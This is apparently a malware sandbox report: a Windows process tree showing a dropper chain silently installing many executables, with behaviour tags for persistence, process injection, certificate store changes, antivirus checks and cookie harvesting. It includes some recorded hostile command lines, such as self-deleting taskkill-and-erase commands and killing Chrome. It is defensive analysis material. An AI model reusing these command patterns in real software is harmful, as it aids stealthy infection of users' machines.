C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetWindowsHookEx
PID:4596
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
- Modifies Internet Explorer settings
- Modifies registry class
PID:4900
-
C:\Users\Admin\AppData\Local\Temp\is-4LV8T.tmp\Setup3310.tmp"C:\Users\Admin\AppData\Local\Temp\is-4LV8T.tmp\Setup3310.tmp" /SL5="$401FC,138429,56832,C:\Users\Admin\AppData\Local\Temp\shqetruf51b\Setup3310.exe" /Verysilent /subid=5771⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
PID:5260 -
C:\Users\Admin\AppData\Local\Temp\is-KM3LB.tmp\Setup.exe"C:\Users\Admin\AppData\Local\Temp\is-KM3LB.tmp\Setup.exe" /Verysilent2⤵
- Executes dropped EXE
- Drops file in Program Files directory
- Suspicious use of SetWindowsHookEx
PID:5588 -
C:\Program Files (x86)\67e16a30-3df6-4d4c-a838-a81a8806dda3\Versium Research\hjjgaa.exe"C:\Program Files (x86)\67e16a30-3df6-4d4c-a838-a81a8806dda3\Versium Research\hjjgaa.exe"3⤵
- Executes dropped EXE
- Adds Run key to start application
- Suspicious use of SetWindowsHookEx
PID:3932 -
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exeC:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt4⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
PID:5304
-
-
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exeC:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt4⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of SetWindowsHookEx
PID:1612
-
-
-
C:\Program Files (x86)\67e16a30-3df6-4d4c-a838-a81a8806dda3\Versium Research\RunWW.exe"C:\Program Files (x86)\67e16a30-3df6-4d4c-a838-a81a8806dda3\Versium Research\RunWW.exe"3⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
PID:2464 -
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2464 -s 9524⤵
- Drops file in Windows directory
- Program crash
PID:1336
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2464 -s 10044⤵
- Executes dropped EXE
- Program crash
PID:4964
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2464 -s 10204⤵
- Program crash
PID:6852
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2464 -s 11324⤵
- Program crash
PID:3452
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2464 -s 11964⤵
- Program crash
PID:6832
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2464 -s 11684⤵
- Executes dropped EXE
- Adds Run key to start application
- Program crash
- Suspicious use of WriteProcessMemory
PID:4584
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2464 -s 15364⤵
- Program crash
PID:7144
-
-
-
C:\Program Files (x86)\67e16a30-3df6-4d4c-a838-a81a8806dda3\Versium Research\LabPicV3.exe"C:\Program Files (x86)\67e16a30-3df6-4d4c-a838-a81a8806dda3\Versium Research\LabPicV3.exe"3⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
PID:6104 -
C:\Users\Admin\AppData\Local\Temp\is-9B1NR.tmp\LabPicV3.tmp"C:\Users\Admin\AppData\Local\Temp\is-9B1NR.tmp\LabPicV3.tmp" /SL5="$20302,239334,155648,C:\Program Files (x86)\67e16a30-3df6-4d4c-a838-a81a8806dda3\Versium Research\LabPicV3.exe"4⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of SetWindowsHookEx
PID:688 -
C:\Users\Admin\AppData\Local\Temp\is-BR50O.tmp\ppppppfy.exe"C:\Users\Admin\AppData\Local\Temp\is-BR50O.tmp\ppppppfy.exe" /S /UID=lab2145⤵
- Drops file in Drivers directory
- Executes dropped EXE
- Adds Run key to start application
PID:3292
-
-
-
-
C:\Program Files (x86)\67e16a30-3df6-4d4c-a838-a81a8806dda3\Versium Research\lylal220.exe"C:\Program Files (x86)\67e16a30-3df6-4d4c-a838-a81a8806dda3\Versium Research\lylal220.exe"3⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
PID:5960 -
C:\Users\Admin\AppData\Local\Temp\is-4RDEO.tmp\lylal220.tmp"C:\Users\Admin\AppData\Local\Temp\is-4RDEO.tmp\lylal220.tmp" /SL5="$302B8,491750,408064,C:\Program Files (x86)\67e16a30-3df6-4d4c-a838-a81a8806dda3\Versium Research\lylal220.exe"4⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of SetWindowsHookEx
PID:4624 -
C:\Users\Admin\AppData\Local\Temp\is-SEA4U.tmp\Microsoft.exe"C:\Users\Admin\AppData\Local\Temp\is-SEA4U.tmp\Microsoft.exe" /S /UID=lylal2205⤵
- Drops file in Drivers directory
- Executes dropped EXE
- Adds Run key to start application
- Drops file in Program Files directory
PID:5328 -
C:\Program Files\Windows Mail\BJTIHPYZWH\irecord.exe"C:\Program Files\Windows Mail\BJTIHPYZWH\irecord.exe" /VERYSILENT6⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
PID:5216 -
C:\Users\Admin\AppData\Local\Temp\is-BUM9B.tmp\irecord.tmp"C:\Users\Admin\AppData\Local\Temp\is-BUM9B.tmp\irecord.tmp" /SL5="$5032A,6265333,408064,C:\Program Files\Windows Mail\BJTIHPYZWH\irecord.exe" /VERYSILENT7⤵
- Executes dropped EXE
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of SetWindowsHookEx
PID:2472
-
-
-
-
-
-
C:\Program Files (x86)\67e16a30-3df6-4d4c-a838-a81a8806dda3\Versium Research\Three.exe"C:\Program Files (x86)\67e16a30-3df6-4d4c-a838-a81a8806dda3\Versium Research\Three.exe"3⤵
- Executes dropped EXE
PID:5704 -
C:\Users\Admin\AppData\Local\Temp\C0A439EOTY\multitimer.exe"C:\Users\Admin\AppData\Local\Temp\C0A439EOTY\multitimer.exe" 0 306065bb10421b26.04333812 0 1034⤵PID:3928
-
C:\Users\Admin\AppData\Local\Temp\C0A439EOTY\multitimer.exe"C:\Users\Admin\AppData\Local\Temp\C0A439EOTY\multitimer.exe" 1 3.1617560702.606a047e3929d 1035⤵
- Executes dropped EXE
- Adds Run key to start application
PID:5936 -
C:\Users\Admin\AppData\Local\Temp\C0A439EOTY\multitimer.exe"C:\Users\Admin\AppData\Local\Temp\C0A439EOTY\multitimer.exe" 2 3.1617560702.606a047e3929d6⤵
- Checks for any installed AV software in registry
PID:4528 -
C:\Users\Admin\AppData\Local\Temp\3hxusjicbnx\cpyrix.exe"C:\Users\Admin\AppData\Local\Temp\3hxusjicbnx\cpyrix.exe" /VERYSILENT7⤵PID:5620
-
C:\Users\Admin\AppData\Roaming\1.exeC:\Users\Admin\AppData\Roaming\1.exe8⤵
- Suspicious use of SetThreadContext
PID:504 -
C:\Users\Admin\AppData\Roaming\1.exe"{path}"9⤵PID:4256
-
-
-
C:\Users\Admin\AppData\Roaming\2.exeC:\Users\Admin\AppData\Roaming\2.exe8⤵
- Suspicious use of SetThreadContext
PID:1232 -
C:\Users\Admin\AppData\Roaming\2.exe"{path}"9⤵PID:6200
-
-
C:\Users\Admin\AppData\Roaming\2.exe"{path}"9⤵PID:6344
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\vb1fa2o30gg\vpn.exe"C:\Users\Admin\AppData\Local\Temp\vb1fa2o30gg\vpn.exe" /silent /subid=4827⤵
- Suspicious use of SetWindowsHookEx
PID:188 -
C:\Users\Admin\AppData\Local\Temp\is-JAA1A.tmp\vpn.tmp"C:\Users\Admin\AppData\Local\Temp\is-JAA1A.tmp\vpn.tmp" /SL5="$302F2,15170975,270336,C:\Users\Admin\AppData\Local\Temp\vb1fa2o30gg\vpn.exe" /silent /subid=4828⤵
- Executes dropped EXE
- Loads dropped DLL
- Adds Run key to start application
- Suspicious use of SetThreadContext
- Suspicious use of SetWindowsHookEx
PID:1220
-
-
-
C:\Users\Admin\AppData\Local\Temp\pf0445chjfq\2qkh2jznwus.exe"C:\Users\Admin\AppData\Local\Temp\pf0445chjfq\2qkh2jznwus.exe" /ustwo INSTALL7⤵PID:6116
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /im "2qkh2jznwus.exe" /f & erase "C:\Users\Admin\AppData\Local\Temp\pf0445chjfq\2qkh2jznwus.exe" & exit8⤵PID:4788
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV19⤵
- Suspicious use of SetWindowsHookEx
PID:5620
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /im "2qkh2jznwus.exe" /f9⤵
- Kills process with taskkill
PID:2132
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\rkbrsfbl1fr\0legjeqcm4u.exe"C:\Users\Admin\AppData\Local\Temp\rkbrsfbl1fr\0legjeqcm4u.exe" /quiet SILENT=1 AF=7567⤵
- Loads dropped DLL
- Enumerates connected drives
- Modifies system certificate store
PID:3676 -
C:\Windows\SysWOW64\msiexec.exe"C:\Windows\system32\msiexec.exe" /i "C:\Users\Admin\AppData\Roaming\Weather\Weather 1.0.0\install\FD7DF1F\Weather Installation.msi" /quiet SILENT=1 AF=756 AI_SETUPEXEPATH=C:\Users\Admin\AppData\Local\Temp\rkbrsfbl1fr\0legjeqcm4u.exe SETUPEXEDIR=C:\Users\Admin\AppData\Local\Temp\rkbrsfbl1fr\ EXE_CMD_LINE="/exenoupdates /forcecleanup /wintime 1617301072 /quiet SILENT=1 AF=756 " AF="756" AI_CONTROL_VISUAL_STYLE="16578540;16578540;14988840;12422912"8⤵PID:1740
-
-
-
C:\Users\Admin\AppData\Local\Temp\rowzijiihen\vict.exe"C:\Users\Admin\AppData\Local\Temp\rowzijiihen\vict.exe" /VERYSILENT /id=5357⤵
- Suspicious use of SetWindowsHookEx
PID:4400 -
C:\Users\Admin\AppData\Local\Temp\is-MMTEF.tmp\vict.tmp"C:\Users\Admin\AppData\Local\Temp\is-MMTEF.tmp\vict.tmp" /SL5="$202E6,870426,780800,C:\Users\Admin\AppData\Local\Temp\rowzijiihen\vict.exe" /VERYSILENT /id=5358⤵
- Loads dropped DLL
- Suspicious use of SetWindowsHookEx
PID:5696 -
C:\Users\Admin\AppData\Local\Temp\is-NO64U.tmp\win1host.exe"C:\Users\Admin\AppData\Local\Temp\is-NO64U.tmp\win1host.exe" 5359⤵
- Suspicious use of SetWindowsHookEx
PID:5800
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\mgjc5evtmiz\Setup3310.exe"C:\Users\Admin\AppData\Local\Temp\mgjc5evtmiz\Setup3310.exe" /Verysilent /subid=5777⤵
- Suspicious use of SetWindowsHookEx
PID:6084 -
C:\Users\Admin\AppData\Local\Temp\is-74EKA.tmp\Setup3310.tmp"C:\Users\Admin\AppData\Local\Temp\is-74EKA.tmp\Setup3310.tmp" /SL5="$202BE,138429,56832,C:\Users\Admin\AppData\Local\Temp\mgjc5evtmiz\Setup3310.exe" /Verysilent /subid=5778⤵
- Loads dropped DLL
- Suspicious use of SetWindowsHookEx
PID:4860 -
C:\Users\Admin\AppData\Local\Temp\is-57844.tmp\Setup.exe"C:\Users\Admin\AppData\Local\Temp\is-57844.tmp\Setup.exe" /Verysilent9⤵
- Suspicious use of SetWindowsHookEx
PID:5496
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\2e1no1yyk5h\app.exe"C:\Users\Admin\AppData\Local\Temp\2e1no1yyk5h\app.exe" /8-237⤵PID:4120
-
C:\Users\Admin\AppData\Local\Temp\2e1no1yyk5h\app.exe"C:\Users\Admin\AppData\Local\Temp\2e1no1yyk5h\app.exe" /8-238⤵
- Modifies data under HKEY_USERS
- Modifies system certificate store
PID:7064
-
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\VDM9VKPQB0\setups.exe"C:\Users\Admin\AppData\Local\Temp\VDM9VKPQB0\setups.exe" ll4⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
PID:4960 -
C:\Users\Admin\AppData\Local\Temp\is-9K4KF.tmp\setups.tmp"C:\Users\Admin\AppData\Local\Temp\is-9K4KF.tmp\setups.tmp" /SL5="$20350,454998,229376,C:\Users\Admin\AppData\Local\Temp\VDM9VKPQB0\setups.exe" ll5⤵
- Executes dropped EXE
- Checks computer location settings
- Loads dropped DLL
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of SetWindowsHookEx
PID:4724
-
-
-
-
C:\Program Files (x86)\67e16a30-3df6-4d4c-a838-a81a8806dda3\Versium Research\0Jm5LQEyZe9W.exe"C:\Program Files (x86)\67e16a30-3df6-4d4c-a838-a81a8806dda3\Versium Research\0Jm5LQEyZe9W.exe"3⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:5188 -
C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeC:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe4⤵
- Suspicious behavior: EnumeratesProcesses
PID:4140
-
-
-
C:\Program Files (x86)\67e16a30-3df6-4d4c-a838-a81a8806dda3\Versium Research\HookSetp.exe"C:\Program Files (x86)\67e16a30-3df6-4d4c-a838-a81a8806dda3\Versium Research\HookSetp.exe"3⤵PID:4964
-
-
C:\Program Files (x86)\67e16a30-3df6-4d4c-a838-a81a8806dda3\Versium Research\guihuali-game.exe"C:\Program Files (x86)\67e16a30-3df6-4d4c-a838-a81a8806dda3\Versium Research\guihuali-game.exe"3⤵
- Executes dropped EXE
- Drops file in Program Files directory
- Modifies registry class
- Suspicious use of SetWindowsHookEx
PID:5552 -
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Program Files\unins.vbs"4⤵PID:5812
-
C:\Windows\SysWOW64\rundll32.exe"C:\Windows\System32\rundll32.exe" "C:\Program Files\unins0000.dll",install5⤵
- Loads dropped DLL
- Suspicious behavior: EnumeratesProcesses
PID:2608
-
-
-
-
C:\Program Files (x86)\67e16a30-3df6-4d4c-a838-a81a8806dda3\Versium Research\22.exe"C:\Program Files (x86)\67e16a30-3df6-4d4c-a838-a81a8806dda3\Versium Research\22.exe"3⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
PID:3548 -
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Program Files\javcse\install.vbs"4⤵PID:4844
-
C:\Windows\SysWOW64\rundll32.exe"C:\Windows\System32\rundll32.exe" "C:\Program Files\javcse\install.dll",install5⤵
- Loads dropped DLL
- Suspicious behavior: EnumeratesProcesses
PID:2352
-
-
-
-
C:\Program Files (x86)\67e16a30-3df6-4d4c-a838-a81a8806dda3\Versium Research\jg7_7wjg.exe"C:\Program Files (x86)\67e16a30-3df6-4d4c-a838-a81a8806dda3\Versium Research\jg7_7wjg.exe"3⤵
- Executes dropped EXE
- Checks whether UAC is enabled
- Drops file in Program Files directory
- Suspicious use of SetWindowsHookEx
PID:5248
-
-
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe" -ServerName:MicrosoftEdge.AppXdnhjhccw3zf0j06tkg3jtqr00qdm0khc.mca1⤵
- Executes dropped EXE
- Drops file in Windows directory
- Modifies registry class
- Suspicious use of SetWindowsHookEx
PID:3928
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵PID:2696
-
C:\Windows\system32\browser_broker.exeC:\Windows\system32\browser_broker.exe -Embedding1⤵
- Modifies Internet Explorer settings
PID:1804
-
\??\c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k dcomlaunch -s DeviceInstall1⤵
- Drops file in Windows directory
- Checks SCSI registry key(s)
PID:5840 -
C:\Windows\system32\DrvInst.exeDrvInst.exe "4" "0" "C:\Users\Admin\AppData\Local\Temp\{62189db2-1e35-0241-9fbd-8a7cf86d2617}\oemvista.inf" "9" "4d14a44ff" "0000000000000180" "WinSta0\Default" "0000000000000184" "208" "c:\program files (x86)\maskvpn\driver\win764"2⤵
- Drops file in System32 directory
- Drops file in Windows directory
- Checks SCSI registry key(s)
- Modifies data under HKEY_USERS
PID:5288
-
-
C:\Windows\system32\DrvInst.exeDrvInst.exe "2" "211" "ROOT\NET\0000" "C:\Windows\INF\oem2.inf" "oemvista.inf:3beb73aff103cc24:tap0901.ndi:9.0.0.21:tap0901," "4d14a44ff" "0000000000000180"2⤵PID:4164
-
-
C:\Windows\system32\msiexec.exeC:\Windows\system32\msiexec.exe /V1⤵
- Enumerates connected drives
- Drops file in Windows directory
PID:4632 -
C:\Windows\syswow64\MsiExec.exeC:\Windows\syswow64\MsiExec.exe -Embedding 9A84CBF081105BC53B63788956762DCE C2⤵
- Drops file in Drivers directory
- Loads dropped DLL
- Drops file in System32 directory
- Drops file in Windows directory
- Checks SCSI registry key(s)
PID:4164
-
-
C:\Windows\syswow64\MsiExec.exeC:\Windows\syswow64\MsiExec.exe -Embedding 6B1685A327F5B75EA2DFAB3B42CDEEF32⤵
- Blocklisted process makes network request
- Loads dropped DLL
PID:6884
-
-
\??\c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s seclogon1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
PID:3488
-
\??\c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s NetSetupSvc1⤵PID:1204
-
\??\c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s DsmSvc1⤵PID:4136
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
- Modifies registry class
- Suspicious use of SetWindowsHookEx
PID:6248
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵PID:4964
-
C:\Program Files (x86)\MaskVPN\mask_svc.exe"C:\Program Files (x86)\MaskVPN\mask_svc.exe"1⤵
- Loads dropped DLL
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Modifies data under HKEY_USERS
PID:5068 -
C:\Program Files (x86)\MaskVPN\MaskVPNUpdate.exeMaskVPNUpdate.exe /silent2⤵PID:6404
-
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe" -ServerName:MicrosoftEdge.AppXdnhjhccw3zf0j06tkg3jtqr00qdm0khc.mca1⤵
- Drops file in Windows directory
- Modifies registry class
- Suspicious use of SetWindowsHookEx
PID:5268
-
C:\Windows\system32\browser_broker.exeC:\Windows\system32\browser_broker.exe -Embedding1⤵
- Modifies Internet Explorer settings
PID:4380
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
- Suspicious use of SetWindowsHookEx
PID:800
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵PID:6808
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
- Modifies registry class
PID:6948
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k WerSvcGroup1⤵
- Executes dropped EXE
- Drops file in System32 directory
- Drops file in Windows directory
- Checks SCSI registry key(s)
- Suspicious use of SetWindowsHookEx
PID:4348
-
C:\Windows\system32\LogonUI.exe"LogonUI.exe" /flags:0x0 /state0:0xa3af7055 /state1:0x41c64e6d1⤵
- Modifies data under HKEY_USERS
PID:4840
-
C:\Windows\system32\browser_broker.exeC:\Windows\system32\browser_broker.exe -Embedding1⤵PID:5724
-
C:\Windows\system32\browser_broker.exeC:\Windows\system32\browser_broker.exe -Embedding1⤵PID:6140
-
C:\Windows\system32\backgroundTaskHost.exe"C:\Windows\system32\backgroundTaskHost.exe" -ServerName:CortanaUI.AppXy7vb4pc2dr3kc93kfc509b1d0arkfb2x.mca1⤵
- Loads dropped DLL
PID:6868 -
C:\Users\Admin\AppData\Local\Temp\is-89D5Q.tmp\lylal220.tmp"C:\Users\Admin\AppData\Local\Temp\is-89D5Q.tmp\lylal220.tmp" /SL5="$4056E,491750,408064,C:\Program Files (x86)\67e16a30-3df6-4d4c-a838-a81a8806dda3\Versium Research\lylal220.exe"2⤵PID:1460
-
C:\Users\Admin\AppData\Local\Temp\is-FSG7V.tmp\Microsoft.exe"C:\Users\Admin\AppData\Local\Temp\is-FSG7V.tmp\Microsoft.exe" /S /UID=lylal2203⤵
- Drops file in Drivers directory
PID:4324 -
C:\Users\Admin\AppData\Local\Temp\29-f2f28-da5-9abb9-246ace0a8d899\Wabonaedile.exe"C:\Users\Admin\AppData\Local\Temp\29-f2f28-da5-9abb9-246ace0a8d899\Wabonaedile.exe"4⤵PID:7776
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\bwhpjupl.fd0\md6_6ydj.exe & exit5⤵PID:6196
-
C:\Users\Admin\AppData\Local\Temp\bwhpjupl.fd0\md6_6ydj.exeC:\Users\Admin\AppData\Local\Temp\bwhpjupl.fd0\md6_6ydj.exe6⤵
- Checks whether UAC is enabled
PID:7096
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\abvzctju.2yh\askinstall31.exe & exit5⤵PID:6572
-
C:\Users\Admin\AppData\Local\Temp\abvzctju.2yh\askinstall31.exeC:\Users\Admin\AppData\Local\Temp\abvzctju.2yh\askinstall31.exe6⤵PID:6716
-
C:\Windows\SysWOW64\cmd.execmd.exe /c taskkill /f /im chrome.exe7⤵PID:7636
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im chrome.exe8⤵
- Kills process with taskkill
PID:6932
-
-
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\ijzvpu5y.zdb\toolspab1.exe & exit5⤵PID:6408
-
C:\Users\Admin\AppData\Local\Temp\ijzvpu5y.zdb\toolspab1.exeC:\Users\Admin\AppData\Local\Temp\ijzvpu5y.zdb\toolspab1.exe6⤵
- Suspicious use of SetThreadContext
PID:6480 -
C:\Users\Admin\AppData\Local\Temp\ijzvpu5y.zdb\toolspab1.exeC:\Users\Admin\AppData\Local\Temp\ijzvpu5y.zdb\toolspab1.exe7⤵PID:7200
-
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\ruvis2ip.eto\GcleanerWW.exe /mixone & exit5⤵PID:5612
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\5e0lxnog.yqs\setup_10.2_mix.exe & exit5⤵PID:6516
-
C:\Users\Admin\AppData\Local\Temp\5e0lxnog.yqs\setup_10.2_mix.exeC:\Users\Admin\AppData\Local\Temp\5e0lxnog.yqs\setup_10.2_mix.exe6⤵PID:5148
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\cddqk01p.ruy\file.exe & exit5⤵PID:4540
-
C:\Users\Admin\AppData\Local\Temp\cddqk01p.ruy\file.exeC:\Users\Admin\AppData\Local\Temp\cddqk01p.ruy\file.exe6⤵PID:1204
-
C:\Users\Admin\AppData\Local\Temp\RarSFX2\Setup.exe"C:\Users\Admin\AppData\Local\Temp\RarSFX2\Setup.exe"7⤵PID:4952
-
C:\Users\Admin\AppData\Local\Temp\NNHXIFJ4RM\multitimer.exe"C:\Users\Admin\AppData\Local\Temp\NNHXIFJ4RM\multitimer.exe" 0 3060197d33d91c80.94013368 0 1018⤵PID:6284
-
C:\Users\Admin\AppData\Local\Temp\NNHXIFJ4RM\multitimer.exe"C:\Users\Admin\AppData\Local\Temp\NNHXIFJ4RM\multitimer.exe" 1 3.1617561647.606a082f3ac8c 1019⤵PID:5468
-
C:\Users\Admin\AppData\Local\Temp\NNHXIFJ4RM\multitimer.exe"C:\Users\Admin\AppData\Local\Temp\NNHXIFJ4RM\multitimer.exe" 2 3.1617561647.606a082f3ac8c10⤵PID:4824
-
C:\Users\Admin\AppData\Local\Temp\gun4fdia1jt\app.exe"C:\Users\Admin\AppData\Local\Temp\gun4fdia1jt\app.exe" /8-2311⤵PID:684
-
C:\Users\Admin\AppData\Local\Temp\gun4fdia1jt\app.exe"C:\Users\Admin\AppData\Local\Temp\gun4fdia1jt\app.exe" /8-2312⤵PID:1268
-
-
-
C:\Users\Admin\AppData\Local\Temp\mibyokweff4\vict.exe"C:\Users\Admin\AppData\Local\Temp\mibyokweff4\vict.exe" /VERYSILENT /id=53511⤵PID:7356
-
C:\Users\Admin\AppData\Local\Temp\is-4JM0G.tmp\vict.tmp"C:\Users\Admin\AppData\Local\Temp\is-4JM0G.tmp\vict.tmp" /SL5="$802F8,870426,780800,C:\Users\Admin\AppData\Local\Temp\mibyokweff4\vict.exe" /VERYSILENT /id=53512⤵PID:6260
-
C:\Users\Admin\AppData\Local\Temp\is-VQV11.tmp\win1host.exe"C:\Users\Admin\AppData\Local\Temp\is-VQV11.tmp\win1host.exe" 53513⤵PID:6588
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\wetsl2e2rv0\cpyrix.exe"C:\Users\Admin\AppData\Local\Temp\wetsl2e2rv0\cpyrix.exe" /VERYSILENT11⤵PID:5308
-
C:\Users\Admin\AppData\Roaming\1.exeC:\Users\Admin\AppData\Roaming\1.exe12⤵PID:6820
-
C:\Users\Admin\AppData\Roaming\1.exe"{path}"13⤵PID:6072
-
-
-
C:\Users\Admin\AppData\Roaming\2.exeC:\Users\Admin\AppData\Roaming\2.exe12⤵PID:6340
-
C:\Users\Admin\AppData\Roaming\2.exe"{path}"13⤵PID:5772
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\ncklxibbinl\m21ng2vox3a.exe"C:\Users\Admin\AppData\Local\Temp\ncklxibbinl\m21ng2vox3a.exe" /ustwo INSTALL11⤵PID:7772
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /im "m21ng2vox3a.exe" /f & erase "C:\Users\Admin\AppData\Local\Temp\ncklxibbinl\m21ng2vox3a.exe" & exit12⤵PID:5624
-
C:\Windows\SysWOW64\taskkill.exetaskkill /im "m21ng2vox3a.exe" /f13⤵
- Kills process with taskkill
PID:6320
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\gil1eod330f\Setup3310.exe"C:\Users\Admin\AppData\Local\Temp\gil1eod330f\Setup3310.exe" /Verysilent /subid=57711⤵PID:6688
-
C:\Users\Admin\AppData\Local\Temp\is-SEQAF.tmp\Setup3310.tmp"C:\Users\Admin\AppData\Local\Temp\is-SEQAF.tmp\Setup3310.tmp" /SL5="$C0318,138429,56832,C:\Users\Admin\AppData\Local\Temp\gil1eod330f\Setup3310.exe" /Verysilent /subid=57712⤵PID:8012
-
